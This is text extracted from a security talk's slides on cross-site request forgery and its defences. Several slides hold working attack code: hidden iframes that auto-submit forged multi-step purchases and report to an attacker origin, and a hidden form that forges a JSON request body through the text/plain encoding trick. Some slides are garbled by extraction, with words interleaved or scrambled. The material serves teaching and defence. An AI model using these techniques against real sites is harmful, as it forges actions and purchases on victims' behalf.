    var IFRAME_POSTER ={}; IFRAME_POSTER.havePosted = false; IFRAME_POSTER.reportAndPost = function() { if(parent != undefined) { parent.postMessage(IFRAME_ID, "https://attackr.se:8444"); } if(!IFRAME_POSTER.havePosted) { document.forms['target'].submit(); IFRAME_POSTER.havePosted = true; } }; IFRAME_POSTER.onLoad = function() { setInterval(IFRAME_POSTER.reportAndPost, 1000); }; iframePoster
  • 81.
    var IFRAME_POSTER ={}; IFRAME_POSTER.havePosted = false; IFRAME_POSTER.reportAndPost = function() { if(parent != undefined) { parent.postMessage(IFRAME_ID, "https://attackr.se:8444"); } if(!IFRAME_POSTER.havePosted) { document.forms['target'].submit(); is over The wait for a POST CSRF IFRAME_POSTER.havePosted = true; } when parent stops getting messages }; IFRAME_POSTER.onLoad = function() { setInterval(IFRAME_POSTER.reportAndPost, 1000); }; iframePoster
  • 82.
    var CSRF =function(){ var hideIFrames = true, frames = [ {id: 0, hasPosted: "no", hasOpenedIFrame: false, src: 'csrfMulti0.html'} ,{id: 1, hasPosted: "no", hasOpenedIFrame: false, src: 'csrfMulti1.html'} ], appendIFrame = function(frame) { var domNode = '<iframe src="' + frame.src + '" height="600" width="400"' + (hideIFrames ? 'style="visibility: hidden"' : '') + '></iframe>'; $("body").append(domNode); }; … csrfMultiDriver.ht
  • 83.
    return { checkIFrames : function() { var frame; for (var i = 0; i < frames.length; i++) { frame = frames[i]; if (!frame.hasOpenedIFrame) { appendIFrame(frame); frame.hasOpenedIFrame = true; break; // Only open one iframe at the time } else if(frame.hasPosted == "no") { frame.hasPosted = "maybe"; break; // iframe not done posting, wait } else if(frame.hasPosted == "maybe") { frame.hasPosted = "yes"; break; // iframe not done posting, wait } else if (frame.hasPosted == "yes") { continue; // Time to allow for the next iframe to open } } }, receiveMessage : function(event) { if (event.origin == "https://attackr.se:8444") { CSRF.frames[parseInt(event.data)].hasPosted = "no"; // Still on CSRF page so POST not done yet } } csrfMultiDriver.ht
  • 84.
    Demo Multi-Step, Semi-Blind CSRF against amazon.com which has protection against CSRF. The intention is to show how you can test your own sites.
  • 85.
    There used tobe a protection in web 1.5
  • 86.
    Forced Browsing wizard-style Shipment info ✉ Payment info $ Next Buy!
  • 87.
    Forced Browsing wizard-style Shipment info ✉ Payment info $ Token Next Buy!
  • 88.
    Forced Browsing wizard-style Shipment info ✉ Payment info $ Re-Auth Next Buy!
  • 89.
    Forced Browsing wizard-style Token 1 Token 2 Token 3
  • 90.
    Forced Browsing wizard-style Token 1 Token 2 Token 3 State built up i steps, server roundtrip in-between
  • 91.
    Forced Browsing wizard-style Token 1 Token 2 Token 3 fo rge n’t to uld est Co qu re t step las out a w tith oken va lid
  • 92.
  • 93.
    RIA & client-side state { ”purchase”: {} }
  • 94.
    RIA & client-side state { ”purchase”: { ”items”: [{}] } }
  • 95.
    RIA & client-side state { ”purchase”: { ”items”: [{},{}] } }
  • 96.
    RIA & client-side state { ”purchase”: { ”items”: [{},{}], ”shipment”: {} } }
  • 97.
    RIA & client-side state { ”purchase”: { ”items”: [{},{}], ”shipment”: {}, ”payment”: {} } }
  • 98.
    RIA & client-side state { ”purchase”: { ”items”: [{},{}], ”shipment”: {}, ”payment”: {} } }
  • 99.
    Can an attacker forgesuch a JSON structure?
  • 100.
    CSRF possible? { ”purchase”: { ”items”: [{},{}], ”shipment”: {}, ”payment”: {} } }
  • 101.
    <form id="target" method="POST" action="https://vulnerable.1-liner.org: 8444/ws/oneliners"> <input type="text" name=”” value="" /> <input type="submit" value="Go" /> </form>
  • 102.
    <form id="target" method="POST" action="https://vulnerable.1-liner.org: 8444/ws/oneliners" style="visibility:hidden"> <input type="text" name=”” value="" /> <input type="submit" value="Go" /> </form>
  • 103.
    <form id="target" method="POST" action="https://vulnerable.1-liner.org: 8444/ws/oneliners" style="visibility:hidden" enctype="text/plain"> <input type="text" name=”” value="" /> <input type="submit" value="Go" /> </form>
  • 104.
    <form id="target" method="POST" action="https://vulnerable.1-liner.org: 8444/ws/oneliners" style="visibility:hidden" enctype="text/plain"> Forms produce a request body that looks like this: <input type="text" name=”” theName=theValue value="" /> ... and that’s not valid JSON. <input type="submit" value="Go" /> </form>
  • 105.
    <form id="target" method="POST" action="https://vulnerable.1-liner.org: 8444/ws/oneliners" style="visibility:hidden" enctype="text/plain"> <input type="text" name='{"id": 0, "nickName": "John", "oneLiner": "I hate OWASP!", "timestamp": "20111006"}//' value="dummy" /> <input type="submit" value="Go" /> </form>
  • 106.
    <form id="target" method="POST" action="https://vulnerable.1-liner.org: 8444/ws/oneliners" style="visibility:hidden" body that looks Produces a request like this: enctype="text/plain"> <input type="text" 0, "nickName": {"id": name='{"id": "John","oneLiner": "I 0, "nickName": "John", hate OWASP!","timestamp": "oneLiner": "I hate OWASP!", "20111006"}//=dummy "timestamp": "20111006"}//' value="dummy" /> ... and that is acceptable JSON! <input type="submit" value="Go" /> </form>
  • 107.
    Demo CSRF POST then Demo CSRF + XSS The Browser Exploitation Framework http://beefproject.com/
  • 108.
    Important in yourREST API • Restrict do CSRF with GETe.g. POST Easier to HTTP method, • Restrict to AJAX if applicable X-Requested-With:XMLHttpRequest Cross-domain AJAX prohibited by default • Restrict media type(s), e.g. application/json HTML forms only allow URL encoded, multi- part and text/plain
  • 109.
    Double Submit (CSRF Protection)
  • 110.
    Double Submit (CSRF protection) Anti-CSRF value as cookie ... ... and request parameter
  • 111.
    Double Submit (CSRF protection) cookie ≠ request parameter Cannot read the anti-CSRF cookie to include it as parameter
  • 112.
    Double Submit (CSRF protection) Anti-CSRF cookie can be generated client-side => no server-side state
  • 113.